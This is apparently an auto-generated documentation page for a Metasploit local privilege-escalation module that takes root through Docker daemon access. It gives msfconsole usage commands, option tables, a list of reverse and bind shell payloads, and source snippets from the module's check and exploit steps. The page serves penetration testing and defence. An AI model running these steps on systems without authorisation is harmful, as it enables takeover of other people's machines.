Docker Daemon Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/linux/local/docker_daemon_privilege_escalation metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Docker Daemon Privilege Escalation
Module: exploit/linux/local/docker_daemon_privilege_escalation
Source code: modules/exploits/linux/local/docker_daemon_privilege_escalation.rb
Disclosure date: 2016-06-28
Last modification time: 2020-09-18 11:38:43 +0000
Supported architecture(s): x86, x64, armle, mipsle, mipsbe
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module obtains root privileges from any host account with access to the Docker daemon. Usually this includes accounts in the docker group.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/linux/local/docker_daemon_privilege_escalation
msf exploit(docker_daemon_privilege_escalation) > show targets
    ... a list of targets ...
msf exploit(docker_daemon_privilege_escalation) > set TARGET target-id
msf exploit(docker_daemon_privilege_escalation) > show options
    ... show and set options ...
msf exploit(docker_daemon_privilege_escalation) > set SESSION session-id
msf exploit(docker_daemon_privilege_escalation) > exploit

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the linux/local/docker_daemon_privilege_escalation exploit module looks in the msfconsole:

msf6 > use exploit/linux/local/docker_daemon_privilege_escalation

[*] No payload configured, defaulting to linux/armle/meterpreter/reverse_tcp
msf6 exploit(linux/local/docker_daemon_privilege_escalation) > show info

       Name: Docker Daemon Privilege Escalation
     Module: exploit/linux/local/docker_daemon_privilege_escalation
   Platform: Linux
       Arch: x86, x64, armle, mipsle, mipsbe
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-06-28

Provided by:
  forzoni

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  This module obtains root privileges from any host account with 
  access to the Docker daemon. Usually this includes accounts in the 
  `docker` group.

Module Options


This is a complete list of options available in the linux/local/docker_daemon_privilege_escalation exploit:

msf6 exploit(linux/local/docker_daemon_privilege_escalation) > show options

Module options (exploit/linux/local/docker_daemon_privilege_escalation):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (linux/armle/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the linux/local/docker_daemon_privilege_escalation exploit:

msf6 exploit(linux/local/docker_daemon_privilege_escalation) > show advanced

Module advanced options (exploit/linux/local/docker_daemon_privilege_escalation):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                60               no        Additional delay in seconds to wait for a session
   WritableDir             /tmp             yes       A directory where we can write files

Payload advanced options (linux/armle/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/local/docker_daemon_privilege_escalation module can exploit:

msf6 exploit(linux/local/docker_daemon_privilege_escalation) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/docker_daemon_privilege_escalation exploit:

msf6 exploit(linux/local/docker_daemon_privilege_escalation) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/armle/exec                                           normal  No     Linux Execute Command
   6   payload/linux/armle/meterpreter/bind_tcp                           normal  No     Linux Meterpreter, Bind TCP Stager
   7   payload/linux/armle/meterpreter/reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Stager
   8   payload/linux/armle/meterpreter_reverse_http                       normal  No     Linux Meterpreter, Reverse HTTP Inline
   9   payload/linux/armle/meterpreter_reverse_https                      normal  No     Linux Meterpreter, Reverse HTTPS Inline
   10  payload/linux/armle/meterpreter_reverse_tcp                        normal  No     Linux Meterpreter, Reverse TCP Inline
   11  payload/linux/armle/shell/bind_tcp                                 normal  No     Linux dup2 Command Shell, Bind TCP Stager
   12  payload/linux/armle/shell/reverse_tcp                              normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   13  payload/linux/armle/shell_bind_tcp                                 normal  No     Linux Command Shell, Reverse TCP Inline
   14  payload/linux/armle/shell_reverse_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   15  payload/linux/mipsbe/exec                                          normal  No     Linux Execute Command
   16  payload/linux/mipsbe/meterpreter/reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Stager
   17  payload/linux/mipsbe/meterpreter_reverse_http                      normal  No     Linux Meterpreter, Reverse HTTP Inline
   18  payload/linux/mipsbe/meterpreter_reverse_https                     normal  No     Linux Meterpreter, Reverse HTTPS Inline
   19  payload/linux/mipsbe/meterpreter_reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Inline
   20  payload/linux/mipsbe/reboot                                        normal  No     Linux Reboot
   21  payload/linux/mipsbe/shell/reverse_tcp                             normal  No     Linux Command Shell, Reverse TCP Stager
   22  payload/linux/mipsbe/shell_bind_tcp                                normal  No     Linux Command Shell, Bind TCP Inline
   23  payload/linux/mipsbe/shell_reverse_tcp                             normal  No     Linux Command Shell, Reverse TCP Inline
   24  payload/linux/mipsle/exec                                          normal  No     Linux Execute Command
   25  payload/linux/mipsle/meterpreter/reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Stager
   26  payload/linux/mipsle/meterpreter_reverse_http                      normal  No     Linux Meterpreter, Reverse HTTP Inline
   27  payload/linux/mipsle/meterpreter_reverse_https                     normal  No     Linux Meterpreter, Reverse HTTPS Inline
   28  payload/linux/mipsle/meterpreter_reverse_tcp                       normal  No     Linux Meterpreter, Reverse TCP Inline
   29  payload/linux/mipsle/reboot                                        normal  No     Linux Reboot
   30  payload/linux/mipsle/shell/reverse_tcp                             normal  No     Linux Command Shell, Reverse TCP Stager
   31  payload/linux/mipsle/shell_bind_tcp                                normal  No     Linux Command Shell, Bind TCP Inline
   32  payload/linux/mipsle/shell_reverse_tcp                             normal  No     Linux Command Shell, Reverse TCP Inline
   33  payload/linux/x64/exec                                             normal  No     Linux Execute Command
   34  payload/linux/x64/meterpreter/bind_tcp                             normal  No     Linux Mettle x64, Bind TCP Stager
   35  payload/linux/x64/meterpreter/reverse_tcp                          normal  No     Linux Mettle x64, Reverse TCP Stager
   36  payload/linux/x64/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   37  payload/linux/x64/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   38  payload/linux/x64/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   39  payload/linux/x64/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager
   40  payload/linux/x64/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   41  payload/linux/x64/shell_bind_ipv6_tcp                              normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   42  payload/linux/x64/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   43  payload/linux/x64/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   44  payload/linux/x64/shell_reverse_ipv6_tcp                           normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   45  payload/linux/x64/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   46  payload/linux/x86/chmod                                            normal  No     Linux Chmod
   47  payload/linux/x86/exec                                             normal  No     Linux Execute Command
   48  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   49  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   50  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   51  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   52  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   53  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   54  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   55  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   56  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   57  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   58  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   59  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   60  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   61  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   62  payload/linux/x86/read_file                                        normal  No     Linux Read File
   63  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   64  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   65  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   66  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   67  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   68  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   69  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   70  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   71  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   72  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   73  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   74  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   75  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   76  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the linux/local/docker_daemon_privilege_escalation exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/local/docker_daemon_privilege_escalation) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Failed to access Docker daemon.


Here is a relevant code snippet related to the "Failed to access Docker daemon." error message:

43:	  def check
44:	    if cmd_exec('docker ps && echo true') =~ /true$/
45:	      print_good("Docker daemon is accessible.")
46:	      Exploit::CheckCode::Vulnerable
47:	    else
48:	      print_error("Failed to access Docker daemon.")
49:	      Exploit::CheckCode::Safe
50:	    end
51:	  end
52:	
53:	  def exploit

Session already has root privileges. Set ForceExploit to override.


Here is a relevant code snippet related to the "Session already has root privileges. Set ForceExploit to override." error message:

51:	  end
52:	
53:	  def exploit
54:	    if is_root?
55:	      unless datastore['ForceExploit']
56:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
57:	      end
58:	    end
59:	
60:	    unless writable? base_dir
61:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"

<BASE_DIR> is not writable


Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

56:	        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
57:	      end
58:	    end
59:	
60:	    unless writable? base_dir
61:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
62:	    end
63:	
64:	    if nosuid? base_dir
65:	      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
66:	    end

<BASE_DIR> is mounted nosuid


Here is a relevant code snippet related to the "<BASE_DIR> is mounted nosuid" error message:

60:	    unless writable? base_dir
61:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
62:	    end
63:	
64:	    if nosuid? base_dir
65:	      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
66:	    end
67:	
68:	    pl = generate_payload_exe
69:	    exe_path = "#{base_dir}/#{rand_text_alpha(6..11)}"
70:	    print_status("Writing payload executable to '#{exe_path}'")

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See Also


Check also the following modules related to this module:

Authors


  • forzoni

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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